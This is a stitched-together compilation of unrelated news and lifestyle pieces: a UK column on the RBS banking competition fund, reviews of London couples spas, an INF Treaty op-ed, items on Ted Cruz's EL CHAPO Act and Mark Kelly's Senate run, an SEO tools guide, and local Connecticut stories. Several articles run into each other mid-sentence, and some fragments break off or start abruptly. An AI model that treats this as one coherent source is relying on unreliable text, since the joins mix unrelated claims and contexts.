Lloyds Banking Group met the terms of its own EU state-aid deal under what was called Project Verde  offloading TSB, perhaps the most successful state-ordered sell-off in history, at least for Lloyds, given what a shambles TSB has become.

Santander originally agreed to acquire some RBS assets but the deal never went through. RBS later decided to lump the assets into Williams & Glyn, an entirely made-up bank, in 2013 and float it. That never happened either.

Switching IT systems proved complex, an issue that TSB has since proved beyond any doubt.

So here is where we are: under the Incentivised Switching Scheme 275 million has been allocated to help SME customers at W&G to move to challenger banks. Theres another 75 million in that pot to cover RBS customers switching costs.

The Capability and Innovation Fund has 425 million to hand out to boost the SME market by handing cash to the challengers across four separate pools of money.

What we know is that 11 eligible lenders had been deemed qualified to land the cash, though Santander mysteriously pulled out just recently. So its a punch-up between Monzo, Metro, Starling, TSB, CYBG, the Co-op Bank, Nationwide Building Society, Svenska Handelsbanken, Arbuthnot, Hampden & Co and Virgin Money.

Bank analysts think CYBG, Metro and TSB should have been the front runners to land what is  lets not forget  in effect public money, given that it is coming from a state- controlled bank. New boys Monzo also suddenly look more likely.

A few obvious problems present themselves and all of those problems have got worse of late.

Virgin Money has been swallowed by CYBG, leaving one less player in the mix. TSB has had what must be the worst year in its history with an extraordinary catalogue of computer failures that hardly suggest it is equipped to take on more customers and more money. It can barely keep track of what it already has.

Metro  everyones favourite new bank, owing to dog-friendly policies and nice-looking branches  is now tainted after it was caught being less than straightforward with the regulators about an accounting error that saw the shares crash 40%.

Metro at first said it had spotted the errors in the value of its loan book, but was later forced to admit that the Bank of England was onto the case before the directors. It faces possible legal action from disgruntled investors.

Moreover, the point of the handout  aside from keeping the EU happy, if thats something we still care about  is to have meaningful impact on competition in business banking.

Small businesses might say two things: 1) they could care less about competition. Just one bank which doesnt leg them over would do; and 2) given the increasingly precarious state of the UK economy, banks pushing them money to expand is the last thing they need. They want less debt, not more.

Interestingly, bank analysts do not include the likely impact of landing government money in any forecasts to investors. So, in City jargon, theres an upside risk to bank valuations. Alternatively they just dont think this money will make any difference, whoever wins it.

RBS says it will take about two years to transfer its W&G customers, wherever they end up going. Parliamentary research suggests that of the near six million SMEs in the UK, around 30,000 bothered to switch banks last year.

At that rate, RBSs 22% market share dwindles at a pathetically slow pace. Anecdotally, however badly small firms feel they are treated, they dont want to move to a bank with which they are unfamiliar, which doesnt have a heavy High Street presence. Which is why Lloyds and NatWest keep customers and, perhaps, why CYBG and Metro dont attract them in anything like the numbers they would like.

Finally, who is in charge of this caper? Well, no one at the Treasury is exactly racing to put themselves out there.

Banking Competition Remedies is the independent body designed to implement the supposed shake-up. But it is at pains to point out it has no involvement in the design of the package, the timelines for delivery or the legal agreements worked out between the Government and the European Commission.

As executive chairman Godfrey Cromwell said last year: BCR is here to deliver the project. The design is not something we have had a hand in, nor is it something we can change. I often say that the directors are in effect the engine drivers tasked with driving the project during the course of its three to five-year journey. Therefore  to extend the metaphor  the track, stations, signals, ticket categories, budget and timetable are all things that were in place before we came aboard  and I must underline therefore that these matters are not something we are either responsible for or able to change.

Thats the guy in charge, remember. Even he says he isnt in charge. And that, whatever it is he isnt in charge of, it will take another five years to implement.

Still, in less than two weeks time  barring mishaps that begin to seem inevitable  well learn which banks have been tasked with shaking up their industry in the interests of UK plc.V alentines Day has always been a love it or hate it affair.

And while you may not subscribe to the bouquet of roses and box of chocolates scenario, its a good excuse to make your other half feel extra loved.

Whether you are self-partnered or perfectly paired, a spa day is always a good idea, and makes a perfect last-minute Valentines or Galentines Day gift.

We took it upon ourselves to do all the hard work for you and road-tested the most indulgent couples spa treatments in London. Whether youre time poor or have half a day to kill, read on to pick a spa that best suits your needs.

Sense, a Rosewood Spa at Rosewood London

Reviewed by Laura Hampson, Digital Travel and Lifestyle Writer

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Rosewood Hotels

One of the capitals most stylish residences, Rosewood London is a firm A-List favourite  it counts Oprah, Ellie Goulding and Justin Bieber among its fans. My boyfriend and I visited on a gloomy January evening for the signature Sense of Connection package - an hour-long massage followed by an hour-long facial and time in the private steam room.

Inside the lavender-scented couples treatment room with heated beds, a masterclass in back massages takes place. My masseuse began on my lower back, ironing out long-standing aches with sweeping strokes and tapping into painful pressure points. Moving up to my neck and shoulders, she worked through the knots and stretched out my tired limbs before kneading my calf muscles into jelly. Flipping over, my therapist slathered my face in potions and creams from the heavenly-smelling Sodashi rejuvenating line. An acupressure facial massage followed before an intoxicating scalp massage.

In a nutshell:

A two-hour session at Sense is long enough to feel thoroughly blissed out and yet short enough to fit into the schedule of any time-poor London couple.

Read our full review of Rosewood Londons spa here.

Details

Rosewoods Sense of Connection package is 270 per person for 120 minutes, rosewoodhotels.com

The May Fair Spa at The May Fair Hotel

Reviewed by Naomi May, Digital Fashion and Beauty Writer

Imagine it: youre rubbing mud on your other  perhaps better  halfs body in the confines of a private steam room. Exfoliating salts follow the mud, as does a face mask, all of which you rub on your partners body before you perch on a marble slab and stew in the heat.

Following the sexy steam, theres a couples massage which was the unequivocal breakout star of the show. Lying on two parallel massage beds, our assigned masseuses went to work on ironing out the kinks and hitting sweet spots in my back and legs that I didnt even know I had. The best part is that when I joked that Ill be sending my girlfriend on a course to learn how to massage like Elena, I was told that the spa offers massage workshops. Jackpot! Ill save that one for the next gift-worthy occasion.

A decadent afternoon tea follows - make sure to request a serving of the bruschetta.

In a nutshell:

A treat for the seriously loved-up pair, there's just enough touching to torch the flame and equal amounts of downtime to leave you utterly relaxed.

Details

The Together package at The May Fair Hotel, A Radisson Collection Hotel starts from 310 per couple, themayfairhotel.co.uk

Neds Club Spa at The Ned

Reviewed by Suzannah Ramsdale, Digital Head of Lifestyle

No time or cash for a long weekend away to celebrate the big V-Day? Book yourself and your S.O. in for traditional Moroccan couples hammam in the Neds blissful subterranean spa.

If you were allowed to take your phone in, the impressive pink marbled hammam is certainly something youd be slapping all over the gram.

Lie back and unwind as each of your therapists work through six equally lovely stages: foot cleanse & black soap body wash, exfoliation (so good for sloughing away all that dull mid-winter skin), hair wash with scalp massage, Shirodhara (drizzling of warm oils), and a speedy facial before all that goodness and hydration is sealed in with a head-to-toe smothering of shea butter.

In a nutshell:

Youll leave relaxed but not zonked out and just alert enough to have a glass or two of champagne by the spa pool afterwards.

Details

La Sultane de Saba Hammam, from 80 per person; 27 Poultry, London EC2R 8AJ; thened.com

The Chuan Body + Soul Spa at The Langham Hotel

Reviewed by Ellie Davis, Assistant Shopping Editor

Just a stones throw from Oxford Circus, the Langham Hotels Chuan Body + Soul Spa feels worlds away from the bustling tourist hotspot. We booked into the couples 60-minute Chuan Harmony Massage. Each treatment is tailored to you based on a questionnaire  I was given Earth as I prefer the colour yellow, morning time and sweet flavours.

While you wait for your massage, you have free rein of the 16-metre heated pool, sauna, steam room and gym as well as the spa lounge area with herbal tea on tap. For the treatment itself, you are lying side-by-side with your partner as you enjoy the combination of acupressure with a light massage designed to promote full-body calm. You leave in a dazed state, utterly relaxed and reluctant to go home.

In a nutshell:

Book as an post-work wind down after a long week - we can't think of a better way to start the weekend.

Details

The couples massage starts from 240 per couple, langhamhotels.com

The Lanesborough Club & Spa

Reviewed by Amelia Heathman, Senior Digital Tech Writer

Named as England's best hotel spa at the 2019 World Spa Awards, the spa at The Lanesborough feels more like a private members club than a spa  the lounge features deep burgundy walls and cream leather seats, where we sip on cucumber water as we wait for the masseuses.

Atmospheric low lighting and quiet chanting music awaits us in the couples treatment room, where the therapists worked out the knots with a few not-too significant clicks. I also very much appreciated the legs aspect of the massage too  my thighs were feeling particularly sore after the stress of getting back into the gym in January.

In a nutshell:

A spa that doesn't compromise on luxury or quality, relax in opulent surroundings while therapists hammer out those hard-to-reach knots.

Details

The Lanesborough Club & Spa is holding a special Valentines Day offer named Time for Lovers, featuring mud bathing, a massage, champagne in the spa lounge followed by a two-course lunch. From 700 for two people, lanesboroughclubandspa.com

agua London at Sea Containers London

Reviewed by Abha Shah, Digital Shopping Writer

Below the deck of Sea Containers London's hull-themed reception, agua London is a pearl-hued sanctuary. Once swaddled into oversized bathrobes, our therapists whisked us off for the hour-long Custom Guru massages. The Couples Suite is a warm, low-lit space with two massage beds set side by side.

My therapist paid particular attention to the achy bits Id mentioned at the consultation, working first on my shoulders, using rose oil to loosen the most stubborn knots, before working on the rest of my body using firm sweeping pressure so that I could almost feel the tension dripping off my limbs.

We finished with luxury pedis, sipping saucers of champagne while musing over the Ciate varnish menu.

In a nutshell:

What agua lacks in facilities (theres no pool, for instance) it makes up for in fabulous, experienced staff, statement decor and a snacks menu designed for indulgence.

Details

The Couple's Suite package, available year-round, includes Custom Guru massages and pedis for two, plus a glass of Laurent Perrier Champagne each and organic chocolate fondue to share for 160 per person, seacontainerslondon.com

ESPA Life at Corinthia London

Reviewed by Daisy McCorgray, Features Social Media Producer

The decadent private spa suite at ESPA Life is better than most hotels entire spa complexes - it comes complete with a steam room, fresh fruit to nibble on and three different rasul healing mud treatments to smear onto each other (the fun bit) before hopping into the private steam room for the heat to work its detoxifying magic.

The Corinthias therapists lead you into separate treatment rooms cocooned within the suite to get down to business - starting with a vigorous body scrub using sea salt and oil. Choose how you want the rest of your treatment to go - a longer back massage for tight muscles, or perhaps your face needs some extra attention using steam and extraction? Whatever it is, the ESPA experts will tailor the entire treatment to your needs.

The package includes an incredible head massage with conditioning red clay hair mask, a specialised eye treatment, a full body massage and a facial - complete with a pleasing amount of work on the neck and jawline to flush out any fluid retention.

In a nutshell:

For serious indulgence, this three and a half hour head-to-toe experience is the perfect mix of luxury, fun and relaxation and will leave you glowing.

You can Read our full review of ESPA Life at The Corinthia here.

Details

ESPA Together experience from 1100 for two people. The Corinthia is also offering a Valentines hotel package including access to ESPA Life from 650, corinthia.com

The Spa at Mandarin Oriental, London

Reviewed by Rosie Fitzmaurice, Digital Lifestyle Writer

The treatments at Mandarin Oriental's London spa began with a foot bathing ceremony to ground us before we hopped onto the beds for the full-body scrub and warm mud treatment. Once wed been polished and buffed within an inch of ourselves we headed into the ensuite rasul water temple, a tiled steam room which gradually began to heat up to release the full detoxifying benefits of the clay.

Wrapped in fresh fluffy towels, the second half of the treatment featured an oriental essence massage. We were after different styles  I wanted a powerful deep tissue, whereas my boyfriend wanted something more relaxing  both were delivered on point and we left revived, rejuvenated and feeling like royalty.

Be sure to give yourself extra time to use the facilities, theres a (female-only) amethyst crystal steam room, sanarium and a vitality pool situated just past the womens changing rooms which I had all to myself one Wednesday evening after work.

In a nutshell:

Pampering fit for kings and queens, with sounds, smells and little touches thatll transport you to Asia  if only for a couple of hours.

Details

The Rasul Water Temple Oriental Couple Suite Experience and one-hour Oriental Essence Massage costs 285 per person, mandarinoriental.com

Akasha Spa at Hotel Cafe Royal

Reviewed by Chloe Street, Digital Fashion and Beauty Editor

Hotel Cafe Royal

Located just off Piccadilly Circus, this sunken sanctuary is the perfect place to escape the frenetic city and submerge into pure bliss.

Enter the low-lit, incredibly zen spa and you are first greeted by an impressive 18 metre-long lap pool, surrounded by cosy day beds. Make sure to leave time before or after your treatment to relax here and take a dip. Once its time for your treatment you and your spa date will be whisked off to a spacious private treatment room, where youll kick off proceedings with a relaxing private whirlpool bath for two with a glass of champagne each and a fresh fruit platter.

After 20-odd minutes minutes both therapists will return to give either a 60-minute Ultimate Aromatherapy massage or Ultimate Aromatherapy facial each. Once theyre done  and trust me, you wont want them to be  youre free to enjoy all elements of Akasha, including the sauna, Hammam, Jacuzzi, lounge area and spacious gym.

In a nutshell:

Five star treatment in one of Londons best and most beautiful hotel spas.

You can Read our full review of Akasha Spa at the Cafe Royal Hotel here.

DetailsCronin said he asked his elderly father to help him pay back money that had been taken from the campaign account, according to the arrest warrant affidavit. Cronin told investigators his father "provided him with approximately $20,000-$30,000 in 2016 to help him pay back money'' to the account. Cronins father then told his son to leave his position as the campaign treasurer, but he did not.The Trump administration's decision to withdraw from the 1987 Intermediate-Range Nuclear Forces (INF) Treaty after a decade of Russian violations feels satisfying and fair - they cheat, we stop playing. But is this our best option? U.S. withdrawal from the INF Treaty will leave U.S. military installations in Europe and our NATO allies more vulnerable to Russian nuclear blackmail, at least until we can develop and deploy our own systems to deter Moscow. Rather than rip up the treaty that makes Russian deployment illegal, the United States should take a page from President Ronald Reagan's 1980s playbook. We should buy time through negotiations to develop and deploy our own countermeasures in Europe while offering Moscow a treaty that meets our shared security needs: countering the growing missile threat from China that the INF Treaty didn't foresee.

In the early 1980s, European allies supported Reagan's request to host U.S. medium-range Pershing II missiles on their territory to counter Soviet SS-20s. The move was wildly unpopular; more than 1 million West Germans staged street protests. Very quickly, however, the Pershing IIs brought Moscow to the negotiating table. The resulting INF Treaty bound the United States and the Soviet Union to eliminate all land-based cruise missiles with ranges of about 310 to 3,500 miles and prohibited their future deployment by Moscow or Washington anywhere in the world.

Just 20 years later, however, a resurgent Russia under Vladimir Putin had second thoughts. By 2007, Putin was pushing President George W. Bush to reconsider the INF Treaty, citing the threat to Russia from superior U.S. conventional weapons and the growing nuclear prowess of China, Iran, North Korea and India. In June 2013, Putin publicly lamented that "almost all our neighbors" were developing medium-range nuclear weapons. By then, Moscow had been covertly developing the 9M729 missile - a nuclear-capable cruise missile that can threaten Warsaw, Paris or Berlin - for five years.

The Trump administration came to office agreeing with Putin about the INF Treaty's constraints. Beijing, which is not bound by the INF, had used the intervening years to build its own intermediate-range missile program, developing a growing capability to threaten U.S. bases and allies in Asia. Currently, the United States counts on conventional superiority or the threat of a massive, long-range nuclear counterstrike on the Chinese to check Beijing. Free of the constraints of the INF Treaty, however, Washington could ask China's neighbors to host medium-range, lower-yield land-based nuclear systems, giving our deterrence posture more flexibility and credibility.

The administration, therefore, saw the death of the INF Treaty as a win-win: Moscow would get blamed for violating the treaty while the United States would be free to build medium-range nuclear weapons to deter China. But what about Europe? Russia has a 10-year head start on us in developing and deploying lower-yield, medium-range nuclear weapons. The demise of the treaty would legitimize Moscow's greater dependence on these weapons, allow their overt deployment and make the threat of their use a virtual certainty in any high-stakes conflict in Europe.

Some administration defenders assert that U.S. conventional dominance and NATO nuclear air and sea power would deter Moscow from using intermediate-range missiles; in the next few years, we are also set to develop new low-yield nuclear weapons and more missile- defense systems to neutralize any threat from the Kremlin. Yet a surprise Russian attack on the Baltic states or Poland would be far harder for NATO forces to drive back if Moscow had the ability to threaten Berlin, Warsaw and Paris with a limited nuclear strike. Moscow might just take that gamble if it judged that the United States and NATO, with no limited nuclear counter-strike options of their own, would be unlikely or unwilling to unleash a massive, high-yield nuclear strike on Russia in response.

Given these ugly options, it makes sense for us to invest a bit more diplomatic muscle and time to keep Russia out of the intermediate-range nuclear business in Europe, and instead propose a grand bargain to deter China. Rather than ditching the INF Treaty, we could offer to revise it to apply only to the European landmass west of the Ural Mountains. Russia would be allowed to deploy its 9M729 missiles beyond the range of our European or Asian allies, subject to very tight human and technical monitoring.

We, in turn, would not deploy land-based intermediate-range nuclear systems on NATO territory, and we would allow Russia reciprocal inspection of our deployments to deter China. This kind of aggressive verification would be difficult to negotiate and technically challenging. It would, however, offer Moscow the opportunity to prove its new systems are not a threat to Europe and join us in deterring common threats elsewhere. If Moscow failed to meet that test, we would be no worse off than we are today. Like Reagan, we would also have bought some time to strengthen our own deterrence, including persuading our allies to host new offensive and defensive systems, if necessary. That, in turn, could force the Kremlin, and perhaps Beijing, to the negotiating table.

- - -

Nuland is a former assistant secretary of state for European and Eurasian Affairs.Sen. Ted Cruz is proposing a new source of funding for a border wall: recently convicted drug kingpin El Chapo.



Joaquin "El Chapo" Guzman was found guilty Tuesday of 10 counts, including engaging in a continuing criminal enterprise.

The leader of the violent Sinaloa drug cartel faces a mandatory life sentence. Federal prosecutors also plan to seek a forfeiture judgment for the property Guzman gained from drug trafficking. The value of that property is believed to be as high as $14 billion.

After Guzman's conviction on Tuesday, Cruz renewed calls to use the money for border security.

"U.S. prosecutors are seeking $14 billion in drug profits and other assets from El Chapo, which should go towards funding our wall to #SecureTheBorder," the Texas Republican wrote on Twitter. "It's time to pass my EL CHAPO Act. I urge my Senate colleagues to take swift action on this crucial legislation."

Cruz originally introduced the Ensuring Lawful Collection of Hidden Assets to Provide Order Act in April of 2017. It would reserve any "illegally obtained profits resulting from any criminal drug trafficking enterprise led by Joaquin Archivaldo Guzman Loera" for border security measures, which could include a wall. This includes any funds forfeited by Guzman in this case or future cases involving his former associates.

Cruz reintroduced the bill last month.

"By leveraging any criminally forfeited assets of El Chapo and other murderous drug lords, we can offset the cost of securing our border and make meaningful progress toward delivering on the promises made to the American people," Cruz said in a statement at the time.

The reintroduction of the bill and Cruz's renewed pressure on colleagues to pass it comes as both chambers of Congress prepare to move forward on a border security spending deal drafted by a bipartisan group of negotiators.

The deal, which President Donald Trump needs to sign by 11:59 p.m. Friday to prevent a partial government shutdown, includes $1.375 billion in funding for 55 miles of a border wall. The amount is less than half of the $5 billion Trump initially asked for.

The wall has been a rallying point for the president since his campaign in 2016 when he promised voters a border wall would be paid for by Mexico.

Trump has argued that the wall is necessary to prevent the flow of criminals into the United States through the southern border.

The EL CHAPO Act was referred to the Senate Judiciary Committee.Retired astronaut Mark Kelly, who became a prominent gun control advocate after his wife and former U.S. Rep. Gabrielle Giffords was shot in a failed assassination attempt, announced Tuesday he will run to finish the late Sen. John McCain's last term in the U.S. Senate.



If he wins the Democratic nomination, Kelly would take on Republican Martha McSally in what is expected to be one of the most closely contested Senate races of the 2020 election.

Kelly described himself as an independent-minded centrist who will take a scientist's data-driven approach to solving problems such as climate change, wage stagnation and health care affordability.

"You see a lot of partisanship in Washington and a lot of polarization, and to some extent we've created that," Kelly told The Associated Press. "It's going to take people who are more independent to fix it. Arizonans value independence."

If Kelly is nominated, the race would pit the Navy veteran and astronaut against McSally, a trailblazing Air Force pilot, in the contest to replace McCain, a legendary Navy flyer who was famously shot down and held captive in North Vietnam.

McSally is a former Republican congresswoman who was appointed to McCain's seat after she narrowly lost to Democrat Kyrsten Sinema last November in the race for outgoing Republican Jeff Flake's seat. McSally leaned heavily on her record as the first woman to fly a combat mission, but she was hurt by her embrace of President Donald Trump.

Kelly decried politicians who "ignore data and facts and in some cases don't even believe in science," but did not take on Trump directly, saying he's "not going to focus on the presidency or the White House."

The 2020 election will decide who finishes the last two years of McCain's term. The winner would have to run again for a full six-year term in 2022.

Democrats are eagerly watching the Arizona contest, having already defeated McSally. The party is also gauging whether Arizona could be competitive at the presidential level in 2020 after Trump won by 4 percentage points in 2016.

Kelly has never held elected office. He flew combat missions during the first Gulf War and was a Navy test pilot before becoming an astronaut along with his twin brother, Scott Kelly. He flew four space missions over 10 years and commanded the Space Shuttle Endeavor in 2011.

Kelly and Giffords have pushed Congress to enact gun control measures with little success. They shifted their focus to state legislatures in recent years, helping to strengthen background checks and domestic violence protections.

Giffords was severely wounded in a mass shooting on Jan. 8, 2011. The shooting at a Giffords meet-and-greet event in Tucson left six dead and 13 injured.

Giffords played a prominent role in the four-minute video Tuesday launching Kelly's campaign.

"I thought then that I had the risky job," Kelly says to Giffords in the video. "Turned out, you were the one that had the risky job."

Kelly told the AP that Giffords, who has been a rising Democratic star before the shooting, will join him frequently during campaign appearances.

Republican Gov. Doug Ducey appointed McSally to the vacant Senate seat after his temporary appointee, former Sen. Jon Kyl, resigned after a few months in office.

Arizona has been a longstanding Republican stronghold, but a growing Latino population and frustration among women with Trump have helped Democrats make inroads.

U.S. Rep. Ruben Gallego, of Phoenix, is also considering a Senate run that would likely position him to Kelly's left, politically.

"I've made no secret of the fact that I'm looking seriously at running for the U.S. Senate in 2020, and that hasn't changed," Gallego said on Twitter following Kelly's announcement. "I'll be making a final decision and announcement soon."

Former Attorney General Grant Woods, a lifelong Republican who became a Democrat and a fierce critic of Trump, said last week he will not run for the seat.

McCain, a legendary and beloved Arizona politician, died last year from an aggressive form of brain cancer after more than three decades in the Senate.The key to building and sustaining organic traffic is knowing which are the best SEO tools to use. Today, there are so many SEO checkers on the market that it be hard to know where to begin. Should you invest in software or use a free program and conduct your own SEO analysis?

It doesnt matter whether youre a search engine optimization specialist or just starting to learn how Google works. These are the best SEO tools for keyword research, link building, traffic analysis, and understanding the competition.

Best SEO Tools for Keyword Research

Keywords are the basis of driving traffic to your website.

No matter what youre writing, its important to understand your target audience, which means knowing what search terms theyre typing into Google.

There are many different SEO tools for conducting keyword research. Whether youre running a one-person startup or launching an SEO firm, the following tools provide some of the most actionable information.

Related: 4 Keyword Search Strategies to Grow Your Business

SEMrush

SEMrush is one of the most popular SEO analysis options on the market. It allows you to track paid traffic, social media-driven traffic, and, of course, desktop and mobile traffic.

Its also home to a popular keyword research tool. Enter a word or phrase and this SEO checker will tell you its search volume, potential, difficulty, and competing companies that already rank for it.

SEMrush also recommends related keywords and help you build a keyword strategy. This means going after longtail keywords, or keywords that contain more than three words.

This is only one of SEMrushs features. It can also conduct an audit or your website, which looks at the quality and quantity of your backlinks.

Related: Mobile Audiences Are Your Future

Google Keyword Planner

Though SEO analysis is becoming increasingly important for Youtube, Amazon, and the App store, most entrepreneurs are primarily concerned with how their content appears on Google.

You will need a Google AdWords account to access all of Googles Keyword Planners capabilities. However, Googles Keyword Planner is actually free to anyone with a Google account.

This SEO tool has two main capabilities: discovering keywords and looking at keyword metrics.

In the first case, you enter words connected to your industry, for which Google will give you a list of suggested keywords. This includes approximate monthly search results, cost per click estimations, and competition.

In the second, you can use Googles Keyword Planner to compare keyword analytics. It shows you the number of impressions and clicks for a thirty-day ad targeting a specific keyword.

It also shows you how much all of this would cost.

Of course, search engine optimizations primary objective is to avoid paying for ads, it can be useful to know how much this traffic would cost--and how much youd save with a successful optimization strategy.

Related: Get the Most From Google's Keyword Planner

Ubersuggest

Do you want to learn about keywords without investing in an SEO tool? Ubersuggest is a free program that lets you gather data related to a keyword or domain name.

Specifically, Ubersuggest will tell you a keywords volume, the average cost per click, and how difficult it is to rank for it. It also suggests related long-tail keywords and shows the top site ranking for the word you entered in.

If you enter a URL into Ubersuggest, it displays that sites organic keywords and traffic. This SEO checker also quantifies a websites number of backlinks and can track the evolution of that sites search engine optimization over a few months.

Keyword.io

Keyword.io is an SEO checker for running keyword research on a number of different platforms including Google, Amazon, Youtube, Alibaba and Wikipedia. If youre looking for keywords beyond Google, Keyword.io is a useful starting point.

Once you type in a keyword and select your region, Keyword.io will create a list of hundreds of longtail keywords related to your entry, which you can filter. You can look specifically at Wikipedia keywords, for example, or search through those of any of the other platforms.

To export that list, and see monthly search volume and related keywords, you have to invest in Keyword.ios PRO option.

SEO Analysis for Link Building

Another important component of optimizing your website is building domain authority off-page. In other words, how other websites link back to yours affects how Google views your site. The more backlinks you have your site, the better a resource Google considers you to be.

Keep in mind that links are not all of the value. The higher another pages domain ranking, the more valuable their backlink to your site is.

Moz Link Explorer

In addition to running a blog, Moz offers search engine optimization software.

Moz has an SEO toolbox that can audit your website has a Keyword Explorer tool. This includes essential keyword metrics like monthly search volume and SERP analysis, meaning review of the top three websites ranking for that keyword.

Moz also has a Link Explorer tool, which finds problems within a websites structure. Is Google indexing all your links? How are backlinks affecting your domain score? What can you learn from your competitions link structure? Mozs SEO checker can provide all this data.

Measuring Traffic with an SEO Checker

Measuring organic traffic--the number of people who find your website through search not advertising--is the only way to know that your approach to search engine optimization is working.

Google Search Console

A great way to know whether your SEO is working on Google is to get that information directly from Google.

Google Search Console shows you everything you need to know about how a website appears in Google search. This means how frequently it appears on Google and which keywords its ranking for. It will also show your click-through rate.

Additionally, Google Search Console analyzes a websites potential indexability, spam problems, and which sites link to yours. All these capabilities are free.

Best SEO Tools for Auditing Your Website

Not sure where to begin with search engine optimization or what you need to do next? The only way to improve your websites SEO is to understand what you need to improve. This begins with auditing your website.

A website audit is when you use a program to crawl your website the way Google would.

This means finding big and easy to fix errors within your site, quantifying organic search data, and analyzing backlinks. An audit typically considers factors like page load speed, content quality, and HTML tags.

Most of the tools on this list have an auditing feature as part of their SEO checker. But different software can give you conflicting information. This means that there is value in conducting SEO analysis with multiple programs, but that information isnt equally valid.

Ahrefs

Ahref is one of the most comprehensive SEO tools for auditing your website. In a matter of hours, Ahrefs crawls every page within your website and creates a report on it.

Ahrefs SEO checker includes a wide variety of features, starting with an overall site health rating that it compares graphically to earlier audits of your website.

Another important feature when it comes to auditing your website is understanding how your external and internal links work. Ahrefs will find the 404s, slow loading pages, orphan pages, and broken pages.

It also looks at internal website issues, including content quality. Is word count high enough? Does the website have duplicate content? Ahrefs can identify these issues, too.

Ahrefs site audit is only one of its SEO tools. A package includes a keyword explorer, content explorer, and a site explorer. The site explorer provides data on keywords, traffic, links, and more over time for any website--including your competition.

The Best SEO Checkers on the Market

Ignoring the online component of entrepreneurship is no longer an option. And considering the price of Google advertising, its more important than ever to develop an SEO strategy.

This means having the best SEO tools for keyword research, measuring traffic, understanding the competition, and auditing your website. For those who are new to SEO analysis, a free tool to learn about keywords, links, and how others are structuring their websites is a great place to start. But for long-term results, its worth investing in a paid SEO checker so you can see what works long term.

SEO success means making changes, tracking their results over time, and remembering that youll have to adapt your strategy once Google algorithms update again.

Related:

7 Best SEO Tools to Help You Rank Higher in Google

Stay on Top of Your Site's SEO Ranking for Less Than $30

3 Simple Ways to Get Your Website Found on Google



Copyright 2019 Entrepreneur.com Inc., All rights reservedSTAMFORD  Like fellow landowners, 97-year-old Estelle McCauley wanted to sign a petition to prevent a developer from erecting high-rises in their historic South End neighborhood.

She enlisted the help of her daughter, Elizabeth McCauley, to gather the documents she needed to prove she owns a 2.5-story 1925 house on Walter Wheeler Drive so she could sign the petition.

But the document-gathering across multiple city departments was so onerous that Elizabeth McCauley missed the signing deadline by a day. So she brought her mother to the February meeting of the Board of Representatives to ask that her signature be added to the petition.

I am a little nervous, Estelle McCauley said after taking the podium in the boards Legislative Chambers during the public-hearing session that precedes each meeting. I dont think its really right that I had to go through so much runaround about my home ownership. I have been paying taxes on the home for 40 years.

The home was handed down over time and ownership was shared among family members. Elizabeth McCauley said they had a probate order that passed the property from her grandmother to her mother, but she learned in City Hall it wasnt enough. She was told she needed a warranty deed, but that didnt turn out to be enough, either.

They told us we needed additional signatures from two cousins, which we did end up getting, even though one cousin lives out of state, she told the board Tuesday night. The Town Clerk let us know that Zoning seemed to have an issue with moms part of the ownership, but no one knew if the probate document was enough. Land Records thought it should be, but then sent us to Probate. Probate thought it should be, but then sent us to the Tax Assessor ... but they were not certain, so they sent us up to Legal. Legal said they couldnt confirm it and recommended that Estelle McCauley consult her own attorney.

The McCauleys eventually obtained the needed paperwork, but it was too late.

In light of the difficulties mom and I had obtaining the information ... we would really like to ask for reconsideration that 18 Walter Wheeler Drive be allowed to be a valid part of this appeal, Elizabeth McCauley told the board, which was about to vote on the validity of petitions challenging two Planning Board decisions.

South End residents generated the petitions after the Planning Board changed the citys Master Plan to allow denser housing on the former B&S Carting site between Woodland Avenue and Walter Wheeler Drive. The Planning Board approved one application from developer Building and Land Technology to make the change for land it owns, and another application from city officials who want to establish consistency by rezoning an adjoining property in the same way.

The South End Neighborhood Revitalization Zone petitioned to appeal the changes, which would permit a high-rise building in the South End Historic District. The group wants BLT to keep its big buildings within its massive Harbor Point redevelopment, and out of the historic district.

To appeal, the group had to collect signatures from 20 percent of landowners within 500 feet of the area in question, according to the city Charter.

The Board of Representatives ultimately voted to verify both petitions, without McCauleys signature, though it means only that there are enough valid signatures for appeals. The board will consider next month whether the appeals have merit.

In the meantime, representatives acknowledge something must be done to make it easier for residents who own property to prove that its so, and to sign petitions when they wish to challenge planning and zoning decisions.

We want to clarify what the city Charter says about this, and set out the steps, so people can get clear instructions, said city Rep. Charles Pia Jr., R-18, co-chairman of the Board of Representatives Land Use Committee.

The steps differ depending on the type of decision, Pia said.

A Master Plan change is different from a zoning-text change, Pia said. We need to set up the application channels for each of those options, and streamline the process so people know exactly where to go.

Representatives intended to begin doing that last summer, after they rejected a zoning change that would have allowed a Life Time Fitness center to be built in High Ridge Office Park.

Representatives agreed with residents that the change, made by the Zoning Board, would have opened the door to projects that could harm the character of neighborhoods surrounding half a dozen office parks in the city.

Residents had collected hundreds of signatures to appeal the zoning change, but the city attorneys office rejected most of them, saying, among other things, that condo owners are not considered landowners under the city Charter. If condo owners had been counted, residents would have had more than enough signatures to appeal.

When they didnt, residents appealed to the Board of Representatives. But that boards agreement with their position resulted in a lawsuit from the owner of High Ridge Office Park, who claims representatives accepted an invalid protest petition. The suit is underway in state Superior Court in Hartford.

Representatives decided to await the outcome of the court case before beginning a discussion on how to clarify the petition process for residents, Pia said. But they may not be able to wait, he added.

It might be tough to have a discussion without referencing the matter before the court, but I think we are going to have to, since residents seem to be bringing more cases before the Board of Representatives, Pia said.

City Rep. Bob Lion, D-19, a member of the Land Use Committee and chairman of the boards Special Committee on Communications, said too many records in City Hall are still on paper, difficult to find and even to read.

I dont know that the requirements are clear, or where it says what the requirements are, Lion said. I think we should look at whether any process is easily available to our constituents.

acarella@stamfordadvocate.com; 203-964-2296.Greenwich police said Javier Enrique Da Silva Rojas used Reyes ATM card after kidnapping her from her home and leaving her body stuffed in a suitcase in a patch of woods in Greenwich. That cash withdrawal led Connecticut and New York detectives to Rojas, who contends that Reyes, 24, fell and hit her head after theyd had sex in her apartment. He admitted to taping her mouth and putting her in the case, police said. He is charged with a kidnapping resulting in death, an offense that carries the death penalty.3 1 of 3 Contributed photo / Contributed photo Show More Show Less 2 of 3 Contributed photo / Contributed photo Show More Show Less 3 of 3





STAMFORD  Superintendent Earl Kim called a snow day yesterday and everyone celebrated in their own way...including through music.

On Feb. 12, Stamford Public Schools had a snow day in wake of a winter storm that brought snow and sleet to the area.Everyone who's anyone got one.

Rudy Giuliani, now President Donald Trump's lawyer, got one. So did Hillary Clinton, who became Trump's archrival, and CNN Worldwide President Jeff Zucker. Heidi Klum and Diddy and Anna Wintour and and Shaquille O'Neal each got one.

